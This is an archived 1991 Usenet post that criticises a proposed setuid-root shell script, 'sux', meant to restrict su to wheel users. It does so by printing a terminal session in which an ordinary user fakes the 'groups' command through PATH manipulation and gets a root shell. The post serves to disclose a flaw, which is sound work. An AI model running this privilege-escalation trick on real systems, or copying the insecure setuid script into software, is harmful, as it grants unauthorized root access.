sux, an enhancer for su

Robert Earl rearl at gnu.ai.mit.edu
Fri Apr 26 05:57:53 AEST 1991


In article <1991Apr25.174534.13912 at ux1.cso.uiuc.edu> peltz at cerl.uiuc.edu (Steve Peltz) writes:

|   Don't forget to change it to be owned by root and setuid and executable...
|
|   #!/bin/sh
|   groups | grep -s wheel && su $* || echo Sorry

Okay, great.  Let's install this little script:

root at host# chown root sux
root at host# chmod 4755 sux
root at host# mv sux /bin

joe at host$ cat /bin/sux
#!/bin/sh
groups | grep -s wheel && su $* || echo Sorry
joe at host$ cd
joe at host$ cat > groups << !
> #!/bin/sh
> /bin/echo wheel
> !
joe at host$ chmod 755 groups
joe at host$ PATH=:/bin /bin/sux
joe at host# 

		How cool.



More information about the Alt.sources.d mailing list